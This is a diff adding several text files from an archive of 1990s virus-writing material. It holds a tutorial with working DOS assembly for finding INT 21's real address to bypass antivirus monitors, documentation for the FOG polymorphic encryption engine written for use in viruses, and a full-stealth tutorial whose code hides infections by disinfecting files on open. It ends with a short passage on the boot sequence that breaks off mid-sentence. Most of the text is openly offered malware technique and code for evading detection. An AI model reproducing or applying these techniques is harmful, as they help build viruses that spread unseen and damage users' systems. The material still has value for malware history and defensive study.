diff --git a/textfiles.com/virus/fndint21.txt b/textfiles.com/virus/fndint21.txt new file mode 100644 index 00000000..d4929cd4 --- /dev/null +++ b/textfiles.com/virus/fndint21.txt @@ -0,0 +1,376 @@ + + + + FINDING INT 21's REAL ADDRESS USING THE PSP + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + + by Satan's Little Helper + + + DESCRIPTION + 컴컴컴컴컴� + + The real address of interrupt 21 is useful to almost + all viruses it enables viruses to bypass resident monitoring + software loaded as device drivers or TSR's. This article will + demonstrate a method by which you can obtain the real address + of INT 21 by using the entry at offset 6 in the PSP segment. + + PSP:6 contains a double-word pointing (hopefully) to the + dos dispatch handler (this is different from the INT 21 + handler). Then *optionally* the dispatch handler has a series + of jumps (opcode=0EAh) then it will either a) point to the + dos dispatch handler or b) the double-NOP call construct used + in some DOS versions which will then point to (a). + + The dos dispatch handler and int 21 handler in memory appear + like this: + + dos_dispatch_handler: + 0000 1E push ds + 0001 2E: 8E 1E 3DE7 mov ds,word ptr cs:[3DE7h] + 0006 8F 06 05EC pop word ptr ds:[5ECh] + 000A 58 pop ax + 000B 58 pop ax + 000C 8F 06 0584 pop word ptr ds:[584h] + 0010 9C pushf + 0011 FA cli + 0012 50 push ax + 0013 FF 36 0584 push word ptr ds:[584h] + 0017 FF 36 05EC push word ptr ds:[5ECh] + 001B 1F pop ds + 001C 80 F9 24 cmp cl,24h + 001F 77 DC ja $-22h + 0021 8A E1 mov ah,cl + 0023 EB 06 jmp $+8 + int21_handler: + 0025 FA cli + 0026 80 FC 6C cmp ah,6Ch + 0029 77 D2 ja $-2Ch + 002B 80 FC 33 cmp ah,33h + + therefore: + + int21_handler = dos_dispatch_handler + 25h + + So the end result is we just find 'dos_dispatch_hndlr' + address then check that the opcodes are right (1E2E/FA80) + and then add (int21_handler-dos_dispatch_hndlr) to the + pointer to dos_dispatch_hndlr to get the INT 21 handler + address. + + Simple! (read it again if you don't get it). + + In the case of (b) occurring we just do the same except + the offset of the dispatch handler from the int 21 + handler is different: + + 0000 90 nop + 0001 90 nop + 0002 E8 00E0 call $+0E3h + 0005 2E: FF 2E 1062 jmp dword ptr cs:[1062h] + 000A 90 nop + 000B 90 nop + 000C E8 00D6 call $+0D9h + 000F 2E: FF 2E 1066 jmp dword ptr cs:[1066h] + int21_handler: + 0014 90 nop + 0015 90 nop + 0016 E8 00CC call $+0CFh + 0019 2E: FF 2E 106A jmp dword ptr cs:[106Ah] + 001E 90 nop + 001F 90 nop + 0020 E8 00C2 call $+0C5h + 0023 2E: FF 2E 106E jmp dword ptr cs:[106Eh] + 0028 90 nop + 0029 90 nop + 002A E8 00B8 call $+0BBh + 002D 2E: FF 2E 1072 jmp dword ptr cs:[1072h] + 0032 90 nop + 0033 90 nop + 0034 E8 00AE call $+0B1h + 0037 2E: FF 2E 1076 jmp dword ptr cs:[1076h] + 003C 90 nop + 003D 90 nop + 003E E8 00A4 call $+0A7h + 0041 2E: FF 2E 107A jmp dword ptr cs:[107Ah] + dos_dispatch_handler: + 0046 90 nop + 0047 90 nop + 0048 E8 009A call $+9Dh + 004B 2E: FF 2E 107E jmp dword ptr cs:[107Eh] + + therefore: + + int21_handler = dos_dispatch_handler - 32h + + + ADVANTAGES & DISADVANTAGES OF THIS METHOD + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + This method requires a very small amount of code and + can be made even more efficient than the code shown below. + + Although untrappable it can be confused into tracing + into the resident monitor's trapping code. Much of the + logic of this method is hard coded so changes in the + opcodes (from TSR AV utilities) will be able to trick it + into thinking it has found the correct address (this + requires use of the double-NOP signatures). + + AV developers appear to be reluctant to modify their + software for specific viruses so may avoid placing the + sequence to confuse it into their software. + + CODE + 컴컴 + + This code is not designed to be size efficent it is designed + to be easy to understand. + + ;name: psp_trace + ;in cond: ds=psp segment + ;out cond: ds:bx=int 21 address if carry clear + ; ds:bx=nothing if carry set. + ;purpose: finds int 21 address using a PSP trace. + + psp_trace: + lds bx,ds:[0006h] ;point to dispatch handler + trace_next: + cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ? + jnz check_dispatch + lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP + cmp word ptr ds:[bx],9090h ;check for double-NOP signature + jnz trace_next + sub bx,32h ;32h byte offset from dispatch + ;handler + cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works + jnz check_dispatch + good_search: + clc + ret + check_dispatch: + cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override + jnz bad_exit + add bx,25h ;25h byte offset from dispatch + cmp word ptr ds:[bx],80FAh ;check for cli, push ax + jz good_search + bad_exit: + stc + ret + + NOTES + 컴컴� + + INT 30h and INT 31h contain *code* (not an address) to + jump to the dispatch handler so to trace using INT 30h/31h + you just set ds:bx to 0:c0 and call the trace_next in the + psp_trace routine. + + Debug hex dump of INT 30/31 addresses in the IVT: + + Immediate far JMP + ____________ + -d 0:c0 | | + 0000:00C0 EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01 + |_________| |_________| + INT 30 INT 31 + addr addr + + EA 28 00 02 01 = JMP 0102:0028 + + ;name: int30_trace + ;out cond: ds:bx=int 21 address if carry clear + ; ds:bx=nothing if carry set. + ;purpose: finds int 21 address using an INT 30/31 trace. + + int30_trace: + xor bx,bx + mov ds,bx + mov bl,0c0h ;point to 0:0c0 + jmp short trace_next + + + OTHER NOTES + 컴컴컴컴컴� + + After writing this I heard that the "MG" virus uses the same + technique, I have a sample of this virus and it does not use + the same technique. + + + TESTING + 컴컴컴� + + So far this has been tested on MSDOS 6.x, Novell Netware, + and IBM network software all resulting in positive tests. + + Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT + could not be found. It is expected that this will not work + on *ALL* DOS-type platforms but that is why I implemented + error codes in the form of the carry flag being set/clear. + + + CONCLUSION + 컴컴컴컴컴 + + It has been shown that INT 30h/31h is slightly more + reliable than the PSP:6 address, so if a call to psp_trace + results in carry set then call int30_trace. The reason + you should call PSP trace first is that altering INT 30/31 + is much easier than altering PSP:6 so it makes the AV do + more work ;) + + + CREDITS + 컴컴컴� + + TaLoN - helped in working out offsets and told me + about int 30h/31h pointing to dispatch handler. + Lookout Man - tester + Aardvark - network tester + + DEMO PROGRAM + 컴컴컴컴컴컴 + + + ;-------8<--------cut here---------8<------- + + comment | + + TASM ASSEMBLY: + tasm psptest.asm + tlink /t psptest.obj + + A86 ASSEMBLY: + a86 psptest.asm + | + + .model tiny + .code + + org 100h + +start: + mov dx,offset psp_status + call print_str ;print "PSP trace: " + call psp_trace ;do the trace + jc bad_psp +print_status: + mov dx,offset ok_str ;print "Ok!" + call print_str + mov dx,offset psp_addr ;print "interrupt trace to: " + call print_str + push bx + mov bx,ds ;print segment + call bin_to_hex + call print_colon ;print ":" + pop bx + call bin_to_hex ;print offset + jmp do_int30 +bad_psp: + mov dx,offset bad_str + call print_str +do_int30: + nop + nop + mov word ptr cs:do_int30,20CDh ;exit next time around + mov dx,offset i30_status + call print_str ;print "PSP trace: " + call int30_trace + jnc print_status + jmp short do_int30 + +print_str: + mov ah,9 + push ds + push cs + pop ds + int 21h + pop ds + ret + +psp_addr db 13,10,'Interrupt traced to: $' +psp_status db 13,10,'PSP trace : $' +i30_status db 13,10,'INT 30/31 trace: $' +ok_str db 'Ok!$' +bad_str db 'Failure$' + +;name: psp_trace +;in cond: ds=psp segment +;out cond: ds:bx=int 21 address if carry clear +; ds:bx=nothing if carry set. +;purpose: finds int 21 address using a PSP trace. + +psp_trace: + lds bx,ds:[0006h] ;point to dispatch handler +trace_next: + cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ? + jnz check_dispatch + lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP + cmp word ptr ds:[bx],9090h ;check for double-NOP signature + jnz trace_next + sub bx,32h ;32h byte offset from dispatch + ;handler + cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works + jnz check_dispatch +good_search: + clc + ret +check_dispatch: + cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override + jnz bad_exit + add bx,25h ;25h byte offset from dispatch + cmp word ptr ds:[bx],80FAh ;check for cli, push ax + jz good_search +bad_exit: + stc + ret + +;name: int30_trace +;out cond: ds:bx=int 21 address if carry clear +; ds:bx=nothing if carry set. +;purpose: finds int 21 address using an INT 30/31 trace. + +int30_trace: + xor bx,bx + mov ds,bx + mov bl,0c0h ;point to 0:0c0 + jmp short trace_next + +bin_to_hex: ;will print number in BX as hex + push cx ;code stolen from KRTT demo + push dx + push ax + mov ch,4 +rotate: + mov cl,4 + rol bx,cl + mov al,bl + and al,0Fh + add al,30h + cmp al,'9'+1 + jl print_it + add al,07h +print_it: + mov dl,al + mov ah,2 + int 21h + dec ch + jnz rotate + pop ax + pop dx + pop cx + ret + +print_colon: + mov ah,2 + mov dl,':' + int 21h + ret + + end start + + ;-------8<--------cut here---------8<------- + diff --git a/textfiles.com/virus/fog.txt b/textfiles.com/virus/fog.txt new file mode 100644 index 00000000..e2457dda --- /dev/null +++ b/textfiles.com/virus/fog.txt @@ -0,0 +1,585 @@ + + + + + + + + + + + FOG + + A polymorphic encryption algorithm + + by Eclipse + + + + + + + + + + + + Disclaimer: + + I have made this mutation engine for fun purposes only. + It is made for use in viruses, but not as to promote any + intentional harm or damage on computer systems. + + This engine is dedicated to those of you out there who find the + concept of replicating programs fascinating. Trojan and + destructive virus writers: Get a life. + + + + + + + + USAGE: CODE MODIFICATION INSTRUCTIONS + + 1. Enter the statement "extrn fog:near, fog_init:near, rnd:near" + into your code in your code segment. Its not really necessary to + include the "rnd" part if you do not need a random number generator + in your code. You might also find it handy to include the switch + definition file (switches.inc) in your code. + + + + Example (ideal mode): + ...... + .model tiny + .radix 16 + ideal + + segment code word + assume cs:code, ds:code, es:code, ss:code + + org 100h + + extrn fog:near, fog_init:near, rnd:near ;here + include "switches.inc" ;and here + ...... + + + or (MASM simplified mode): + ...... + .model tiny + .radix 16 + .code + + org 100h + + extrn fog:near, fog_init:near, rnd:near ;here + include switches.inc ;and here + ...... + + or (MASM mode): + ...... + .model tiny + .radix 16 + + code segment word + assume cs:code, ds:code, es:code, ss:code + + org 100h + + extrn fog:near, fog_init:near, rnd:near ;here + include switches.inc ;and here + ...... + + + + 2. Initialise fog. Do so by calling fog_init with the appropriate + parameters: + AH : Debugger hostility switches (see below) + AL : Junk generation switches ( ---"--- ) + CL : General switches ( ---"--- ) + + CS:DX : Code to encrypt + SI : Size of code to encrypt + DI : Where in the decrypted code control should be passed. + eg. if execution starts at the beginning of the code, + DI = 0. + + Note that this initialization could be done only once, f.ex. at the + installation of a TSR virus, and later only be called when there was + need for updating the information, typically changing from COM to EXE + mutation mode. + + On return from fog_init only one register will have changed; + + CX = Max size of decryptor and encrypted code. This + will be the amount of bytes to stealth if you + are making a stealth virus and have specified + constant code size (sw_const_s) or if you want + a tip of how much memory you gonna need for + encryption, otherwise ignore. + + + + Example: + + .... + mov ah, sw_prefetch or sw_int3 + mov al, sw_015_gi + ;or more efficiently: + ;mov ax, (sw_prefetch or sw_int3) shl 8 or sw_015_gi + mov cl, sw_const_s + mov dx, cs:[myoffset] + mov si, sizeofvirus + xor di, di + call fog_init + .... + + + + 3. Mutate by calling fog with the following parameters: + + ES : Free segment. This is where the mutated code will be put. + Must contain enough memory for the encrypted code + and decryptor. When you define high junk generation, the + decryptor can be rather ...errr... massive... + + + BP : Offset of code. Eg. if you write the mutated code to the + end of a COM file, then BP should be set to filesize+100h. + + + Example: + .... + mov bp, ax + add bp, 0100 + mov ax, cs + dec ax, (bufferneeded+0fh)/10h + mov es, ax + call fog + mov ah, 40 ;CX = number of bytes, DS:DX = buffer + int 21 + .... + + + + 4. Take note of the register values on return from the + fog mutation algorithm: + + DS:DX = ES:0 = Buffer where decryptor and encrypted code will + be found. + + CX = Length of decryptor and encrypted code. + + All other registers are preserved. + + + + + USAGE: MEMORY REQUIREMENTS + + When calling fog you should make sure that you have an + encryption buffer big enough to accomodate even the largest + decryptors + your encrypted code. On its most demanding setting + (sw_255_gi / sw_maxhostile) fog will require approximately 16k + of memory. If you use fixed file size, the memory required can + be even more massive. However, if you reduce the junk generation, + fog will need much less memory. + + When you call fog_init, CX will return the maximum size (in bytes) + needed. + + Note: Take a look on what I do in AirRaid. I steal a temporary + block of memory just to do the encryption, without allocating + it. This will work nicely most of the time. + + + + + + + USAGE: ASSEMBLY INSTRUCTIONS + + Fog is written in TASM 3.0 (C) Borland Inc. and is designed + to work with tasm and tasm-compatible assemblers. + To use the fog object module in your code: + + tasm /m3 myvir.asm + tlink (/t) myvir fog + + If you select to assemble fog down from the source, you should + use + + tasm /m3 fog.asm + + before linking the resultant object module into your code. + + + + + + ------------------------------------------------------------------- + The code size of FOG in its present condition is 55Bh (1371) bytes. + ------------------------------------------------------------------- + If you modify the source, assemble with TASM /m3 /l and take a + look on top of the lst file; there will be a constant named + fogsize - this is FOG's effective length. + + + + + + TECHNICAL OVERVIEW: + + Fog constructs its decryptor in a stepwise manner. + The flow of execution when encrypting can be summarised like this: + + * Choose Initialization strategy + * Choose Crypt strategy + * Choose Base updating strategy + * Choose Loopback strategy + + (Decryptor and encryptor are finished here !!!) + + * Add a jump to starting point in code, often this will be just a JMP 0. + * Encrypt main code + * If some alignment or static code size is chosen, pad the encrypted + code until it has the right size. + * Set all registers according to the correct feedback values, and + return to caller. + + + STRATEGIES: + + **** Init Strategy **** + This is done by randomly choosing registers for key, base and count + and generate MOV reg, imm16 instructions with the appropriate numbers. + Junk (if selected) will be filled in between these instructions. + + + **** Crypt strategy **** + The standard crypto instruction will be of the type: + ( The / separates options that are used with equal probability ) + + RND 1..15 * (XOR/SUB/ADD CS:/DS:/ES:/SS: [BX/SI/DI]/[BX/SI/DI+disp16], imm16/reg) + RND 0..7 * (ROL reg,1) + + The segment overrides DS:/ES:/SS: will of course only be created in + COM file mode, in EXE mode only CS: will appear. + + So decryptors can look like this: + + XOR SS:[SI+0490],FD81 + junk + XOR CS:[SI+0490],DX " + ADD CS:[SI+0490],DX " + SUB CS:[SI+0490],8755 " + XOR ES:[SI+0490],5886 " + ADD SS:[SI+0490],770B " + ADD DS:[SI+0490],0322 " + ROL DX,1 " + ROL DX,1 " + ROL DX,1 " + + or like this: + + XOR SS:[BX],DX + junk + + At the same time as the decryptor instructions are generated, the encryptor + is inversely built in the encryptor buffer. + As you will have noticed, the key is always word sized. + + + **** Base updating strategy **** + Base updating instructions can be of the type: + ADD reg, 2/-2 + or + SUB reg, 2/-2 + or + DEC reg + DEC reg + or + INC reg + INC reg + + + **** Loopback strategy **** + Loopbacks will look like this: + + LOOP ... + + or + + DEC reg + JNZ ..... + + (The above will only be used if backwards jump is less than 128 bytes.) + + or + + DEC reg + JZ 03 + JMP .... + + or + + DEC reg + JZ 05 + MOV reg, offset .... + PUSH reg + RET + + + There are many more ways to do this, of course, use your + imagination and add some. + + + STRONG POINTS: + + * Cryptographic toughness + FOG utilises a powerful mutation encryption algorithm, making + the encryptors very variable indeed. Cryptanalysis is going to + be hard on this one, as there is between 1 and 15 random + xor/sub/add/rol operations with different keys on each element + to be encrypted. With the change of just one constant in the + enclosed source this number can be much increased. + + + * Junk instruction generation + The junk instructions, generically generated by FOG, includes + instructions of 1, 2, 3, 4, 5 and even 2*7 bytes, and FOG can + generate up to 255 such junk instructions between *each* + good instruction. I've had test decryptors varying between + 20 bytes and 10k (!). + + + * Configurable + FOG is configurable in most aspects. Based on what you tell it, it + will behave very differently from configuration to configuration. + + Examples: + + 1. mov al, sw_nogarb + call fog_init + + This will cause FOG to generate short decryptors without any garbage + or debugger hostile instructions at all. Turning off garbage also turns + off debugger hostility, so any value in AH will be ignored. The + encryption will however be just as strong as before, and the decryptor + will still mutate. + + 2. mov al, sw_007_gi + mov ah, sw_int3 or sw_prefetch + call fog_init + + + This setting will cause FOG to generate between 1 and 7 junk + instructions between each good one. Randomly interspersed in + these junk instructions will be some debugger hostile instructions, + in this case int 3's and prefetch traps. The int 3's are just + bothersome when debugging, the prefetch traps will fool the unin- + telligent debuggers and some of those programs who try to auto- + matically decrypt the encrypted code; TbClean crashes spectacularly. + + + 3. mov al, sw_255_gi + mov ah, sw_debug + call fog_init + + This setting will cause FOG to generate medium to very big + decryptors, as there will be between 1 and 255 garbage instructions + between each good instruction. However, setting ah to sw_debug causes + the garbage generated to not contain any debugger hostility at all, + and *no encryption will be performed*. + + 4. mov cl, (sw_r_garb or sw_r_host) + call fog_init + + This will tell FOG to ignore any settings of AH or AL, and randomly + choose a setting for itself. Thus the setting may be one of extreme + garbage generation and/or hostility or the opposite. Note that FOG + will behave according to this until next time you call fog_init, and + another random setting will be chosen. If used in a virus, his would + have the effect that samples of one generation could be *totally* + different from samples of another generation + + + 5. mov cl, sw_const_s + call fog_init + + This will cause FOG to generate decryptor+encrypted code of + constant size each time you encrypt. This will be of use for + stealth virus production. Fog manages this by padding all + encryptions up to the point where it's very unlikely that a + bigger decryptor will be created. Note that with high junk + configuration there often will be a nauseatingly huge pad area + at the end of files. + + 6. mov cl, sw_align16 + call fog_init + + Some people make viruses that need to be padded up to a paragraph + border, for self recognition or other purposes. With this setting + FOG will do that. + + 7. mov cl, sw_align256 + call fog_init + + Same as previous, but with 256 byte page borders. + + + + * Generic programming + + This engine is released with the commented original source code. + It's of course possible to improve the engine, and it's relatively + easy to do so around its current framework. For instance is the garbage + generation modular, by adding another module and updating the jump + addresses FOG will spew out the new instructions just as easy and + randomly as those included in the source. You may also note the + vacant switches, where you may add more configurable options. + One of FOG's strongest points is just this; by releasing the source + it will mutate not just decryptors, but with time also it's own + functionality. + + + WEAK POINTS: + + * Decryptor obviousness + + Decryptors generated with this engine do not have any mechanisms to + hide that they are decryptors (except junk). They do not generate + any codesequence to fool scanners into believing that this is a + legitimate program. Thus, heuristic scanners may smell a rat, + especially TbScan when FOG uses low junk/hostility settings. + TbScan detects the presence of a decryptor and sometimes succeed + to decrypt the encrypted program. On high junk/hostility settings, + however, TbScan mostly chokes and dies. The prefetch traps generate + much noise, in the sense that they mess with memory and cause TbScan + to whip out @, 1, D and U flags galore. On rare occasions they also + cause the program to terminate or even hang. I have included jmp + instructions in the standard set of functions from FOG, however + these sometimes generate TbScan @ and J flags. + + * Scanning vulnerability + + When high debugger hostility is chosen, FOG generates fixed + codesequences that might be scanned for, particularly the + prefetch traps. This might be something to have in mind. + + * Huuuuuuge decryptors + + As mentioned before, with high garbage settings FOG may generate + very large decryptors indeed. This may cause not only a considerable + file growth, but also a noticeable timelag upon decrypting. + + * Statistical analysis vulnerability + + There is a chance that FOG will be vulnerable to statistical analysis. + I have not performed any statistical computations on FOG's decryptors + myself, but I think this might be done. However, scanners will have + a hard time detecting *all* FOG encrypted viruses, due to FOG's + variability. + + + + + + + THE DEMO VIRUSES: + + Enclosed you will find the source and executables of different + versions of AirRaid, which is the demo virus for this engine. + + AirRaid is a non-destructive resident *.com infector, made + specifically for this purpose. Its lameness is also by intent. + It will infect any *.com file (of proper size) executed. Infection + marker is 'AR' at byte 4 and 5 in the file. + + The different versions are made to demonstrate the easy way you + can configure the virus to do what you want. + + Ver 1. Plain virus, Fog not attached. + Ver 2. Fog attached, configured to no garbage. + Ver 3. Fog attached, configured to 15 garbage instructions, + max hostility, fixed length + Ver 4. Fog attached, configured to random garbage, random hostility. + + + + + + SWITCHES (as defined in the switches.inc file): + + AH AL + Debugger hostility F E D C B A 9 8 7 6 5 4 3 2 1 0 Junk generation + Unused 컴컴컴컴컴컴컴� � � � � � � � � � � � � � � � 1 junk instruction + Unused 컴컴컴컴컴컴컴컴� � � � � � � � � � � � � 읕� 3 junk instructions + Unused 컴컴컴컴컴컴컴컴컴� � � � � � � � � � � 읕컴� 7 junk instructions + Use dos interrupts 컴컴컴컴� � � � � � � � � 읕컴컴� 15 junk instructions + Unused 컴컴컴컴컴컴컴컴컴컴컴� � � � � � � 읕컴컴컴� 31 junk instructions + Prefetch traps 컴컴컴컴컴컴컴컴� � � � � 읕컴컴컴컴� 63 junk instructions + Unused 컴컴컴컴컴컴컴컴컴컴컴컴컴� � � 읕컴컴컴컴컴� 127 junk instructions + Int 3 generation 컴컴컴컴컴컴컴컴컴� 읕컴컴컴컴컴컴� 255 junk instructions + + + CH CL + Internal switches F E D C B A 9 8 7 6 5 4 3 2 1 0 General switches + Unused 컴컴컴컴컴컴컴� � � � � � � � � � � � � � � � random junk + Unused 컴컴컴컴컴컴컴컴� � � � � � � � � � � � � 읕� random hostility + Unused 컴컴컴컴컴컴컴컴컴� � � � � � � � � � � 읕컴� exe file + Unused 컴컴컴컴컴컴컴컴컴컴� � � � � � � � � 읕컴컴� constant size + Unused 컴컴컴컴컴컴컴컴컴컴컴� � � � � � � 읕컴컴컴� 256 byte alignment + Down decryptor 컴컴컴컴컴컴컴컴� � � � � 읕컴컴컴컴� 16 byte alignment + Use displacement 컴컴컴컴컴컴컴컴� � � 읕컴컴컴컴컴� Unused + No jumps allowed 컴컴컴컴컴컴컴컴컴� 읕컴컴컴컴컴컴� Unused + + + + That's all for now. Take a look at the enclosed demo virus, AirRaid, + to see how FOG can be used. + + + ABOUT THE AUTHOR: + + I am a tertiary student from Australia's Sunshine State of + Queensland. My interests include Rugby League, Cricket and + low-level programming. Normally concentrating on visual and + audio demonstrations, I turned my hand to polymorphism due to + the unique challenge of that type of coding. I will only + continue to pursue my virus programming career while the field + remains interesting. + + + + HOW TO CONTACT THE AUTHOR: + + You can only contact me via my friend Qark, who is has internet + access unlike myself. + + + +Included in the original package there should be 12 files: + + FOG .ASM Fog source code + FOG .DOC This file + FOG .OBJ Fog object module + SWITCHES.INC Switch definition include file + + AIRRAID1.ASM AirRaid ver. 1 source + AIRRAID2.ASM AirRaid ver. 2 source + AIRRAID3.ASM AirRaid ver. 3 source + AIRRAID4.ASM AirRaid ver. 4 source + + AIRRV1.ZIP AirRaid ver. 1 samples + AIRRV2.ZIP AirRaid ver. 2 samples + AIRRV3.ZIP AirRaid ver. 3 samples + AIRRV4.ZIP AirRaid ver. 4 samples + + +Any other file is not acknowledged by me. + +Eclipse. +Queensland, Australia, June 1995. + + diff --git a/textfiles.com/virus/fullstlt.txt b/textfiles.com/virus/fullstlt.txt new file mode 100644 index 00000000..9e83f28b --- /dev/null +++ b/textfiles.com/virus/fullstlt.txt @@ -0,0 +1,254 @@ +% Full stealth tutorial by Blonde % +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +What follows is kinda tutorial of disinfection-stealth. It +doesn't cover any *redirection* stealth (such as the one Bluenine +in IR#6 uses), and quite frankly it might not be the best tutorial +the vx-community has seen, but we can always hope it's for some +gain to someone. + +Alternative code how physical disinfection can be done is presented +in my Hybris virus, which also is a bit more optimized than this one :-). +Nevertheless, this is the very same technique my Petra.1308 virus used, +so atleast it works.. + +I've edited this one a bit (Yea, I know it doesn't look like I did, +but I did!) and well, we can always hope Mr.Blonde will write his +next tutorial in a sober-mode :-). + +- The Unforgiven. + + + + + - Full Stealth or Disinfection on open - + Written by Blonde/Immortal Riot + + + + + +Introduction +컴컴컴컴컴컴 +Okey, this is for those guys who've already made an effective size-stealth +and want some more or those who just like reading ;) + +Full stealth for me is when you completely remove the virus from the file. +Preferebly done when you open it. The idea behind this is ofcourse that it +will be harder to spot and it is for the common users, but thats all we want +isn't it? + +What's very important when using disinfection is to infect on close or else +you'll of course end up with some major problems ;) Okey, this is a bit more +complex than the size stealth I discussed in my earlier article and I'm not +a teacher so this can be quite hard to understand. + +I'll mainly go through the disinfection of a COM file, but with +pseudo code for EXE files as well. All code presented will though be COM- +only. + +The basic idea behind disinfection of COM-files is to first of all check +if the file is infected by your virus, then simply restore what we've changed +in the file, that is the first 3-5 bytes in a COM and then simply truncate +the file at (filesize-virussize). + +As for EXE-files the scenario is exactly the same, restore what you +changed in the EXE-header rewrite it to the file... and truncate it. + + +To succeed in these matters you'll have to hook int 21h and tap ah=3d (open) + + +Check-For-Infection +컴컴컴컴컴컴컴컴컴� +disinfect_3d: ;called by our int handler if ah=3dh + + ;Upon entry to ah=3Dh ds:dx points to the filename... + + + push ax bx cx dx di si ds es ;save registers in use + + push ds + pop es ;es=ds + mov di,dx + mov al,'.' + mov cx,64 + repne scasb ;this will repeatedly scan byte by byte for + ; '.' in the filename stored in ds:dx=es:di + ;di will then point to offset of '.'+1 + + cmp word ptr ds:[di],'OC' + jne nocom + cmp word ptr ds:[di],'M' + je openfile ;check if it is a com... if it wasn't + nocom: + jmp not_opened ;it wasn't a *.com file so don't + ;disinfect + + openfile: ;com-file being opened! + pushf + push cs + mov ax,3d02h + call org21h ;open file in read/write mode + jc nocom ; error ==> bail out + + xchg ax,bx + + push cs cs ;cs=ds=es + pop es ds + + mov ax,5700h ;get file's time & date + int 21h + push cx ;save time & + push dx ;date on the stack + + read_4f: + mov ah,3fh ;just read the firstfour bytes to + mov cx,4 ;a buffer. + mov dx,(hostbytes-vstart) + int 21h + + chk_4_markers: + cmp byte ptr ds:[hbytes-vstart],0e9h ;check if firstchar + + jne close_file ;is a jmp (e9) + ;if not ==> bail! + + cmp byte ptr ds:[hbytes-vstart+3],fileid ;4th byte = our marker? + + jne close_file ; if not ==> bail! + + +That was the first part of the disinfection routine, the part that check if +the file *really* is infected. In a nutshell, the code works like this: + +First of all we want to check if the file first of all is a COM/EXE file. + +What we did was simply to scan ds:dx for the '.' which separates the filename +from the file extension and then compare it to COM/EXE (the code only checks +for com's, but you can fix that ;). That'll be sufficent to determine if it +was a COM/EXE file... + +The next step would be to check if the COM/EXE file really is infected. +This can be done in diffrent ways and some more secure than others, but what +I've done in this code is to read the first four bytes and check the first +against a jmp instruction (the one which jumps to the first instruction in +the main virus-code) and then check the fourth against 'fileid' a byte which +I write to every file I infect... com only of course. + +That should do it. To be even more secure one could check for size and +even stealth markers (like seconds) and such, but I don't think it's so +very likely that a com file starts first with a jmp and then as the forth +byte have another byte equal to what we want... Ah well it might corrupt +some files, but who cares? ;) + +Note that we don't do a regular open, since that would be recursive we have to +call the original interrupt handler directly... + +To do the same for EXE-files is almost as easy... read the whole header +(be sure to save the header-information in the file for this purpose, +don't do any heap-optimizing) and check against your markers maybe the +prelocated SP or maybe the negative checksum or whatever... then continue +with the disinfection where we left the com files... + +Restore Init-Bytes +컴컴컴컴컴컴컴컴컴 + read_hostbytes: + mov ax,4202h + xor cx,cx + cwd + int 21h ;ax=fsize + + push ax ;push fsize.. used lateron... + ;if exe then push dx too + xchg ax,dx + + sub dx,(vend-hbytes) + mov ax,4200h + xor cx,cx + int 21h ;goto dx in files... + + mov ah,40h + mov cx,4 + mov dx,(hbytes-vstart) + int 21h ;read host bytes from end of file... + +This is the part where you fetch the original values of infected file. Since +this is important, also remember to leave the original bytes un-encrypted if +the virus is encrypted. Else you'll have to decrypt them, which is pretty +stupid. Encrypted full-stealth viruses might be considered a bit overdoing it, +but well, that's up to you to decide. It's also wise to place the init-bytes +at the end-of the file because that makes file-seek's operations shorter. + +Well anyways, first get the filesize in ax then load it in dx and sub dx with +the byte difference from the very end of the virus to the begining of +the hostbytes (in this case 4...) then go to that offset in the file ie. +four bytes from the end and then read those four bytes which are the files +original bytes... if it wasn't a COM I wouldn't xor cx,cx and I would also use +a sbb cx,0 since fsize might be larger than 64k ;) else there isn't anymore +differences. you'll just have to sub/read the appropriate number of bytes... + +The next step will be to restore those bytes to the begining of the file... + + mov ax,4200h + xor cx,cx + cwd + int 21h ;go to beginning of file... + + mov ah,40h + mov dx,(hbytes-vstart) + mov cx,4 + int 21h ;restore them + +Well that' obvious, wasn't it? +The EXE version would only differ if you didn't save the whole EXE-header, +because then you would have to read it, then restore the real values and +re-write it to file then... therefor is it easier to simply write the whole +EXE-header to the end of the infected file, but that'll of course increase +the size of the virus. + +Remove the virus from the host-file +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +To truncate the file at filesize-virussize we do this... + + pop dx ;this was push'd two snippets up and it's the file-size + ;should also pop cx if it was an exe + + mov ax,4200h + sub dx,virusize ;subtract the virus-size from the filesize + int 21h ;go to filsize-virusize + + truncate: + mov ah,40h + xor cx,cx + int 21h ;this is the trick. to truncate simply write zero bytes + ;to the file... + +Okey it's simple... restore the filesize we pushed earlier (both cx,dx if EXE) +and then sub it with the virus size (don't forget sbb cx,0 if EXE...) +Then go to that offset and write zero bytes to it, that'll truncate it... + + close_dis: + mov ax,5701h + pop dx cx + int 21h ;restore time/date stamp + + mov ah,3eh + pushf + push cs + call org21h ;close call to real int handler + + no_opendis: + pop es ds si di dx cx bx ax + jmp org21h + +You're finished! just restore the time/date stamp and close the file... +Just don't forget to close via a direct call to the real int 21 handler, since +you wouldn't want to re-infect the file ;) then we chain into the real dos +open since the virus has been removed! + +This code will successfully disinfect any file opened by ah=3Dh/int 21h, but +there are other ways of opening files, one of them is extended open which +F-Prot uses, ax=6c00h/int 21h. It's possible to trap it too, but then you'll +have to deal with some minor snags. Like loading ds:dx with filename ... If +you're intrested check out Salamander Four... + diff --git a/textfiles.com/virus/funbot2.cvp b/textfiles.com/virus/funbot2.cvp new file mode 100644 index 00000000..dc0ac1a7 --- /dev/null +++ b/textfiles.com/virus/funbot2.cvp @@ -0,0 +1,56 @@ +FUNBOT2.CVP 910918 + + Boot sequence + +In order to point out the areas of possible viral program attack, it is +helpful to outline the sequence of operations in the boot process. + +When the machine is first powered up, there is a certain amount of +programming contained in boot ROM. The amount of this varies greatly +between different types of machines, but basically describes the most +central devices, such as the screen and keyboard, and "points" to the +disk drives. A very basic location on the disk is addressed for further +information. This is the generic "boot sector"; as mentioned in the last +column, on MS-DOS hard disks it is the partition boot record that is +accessed first. + +The boot record or 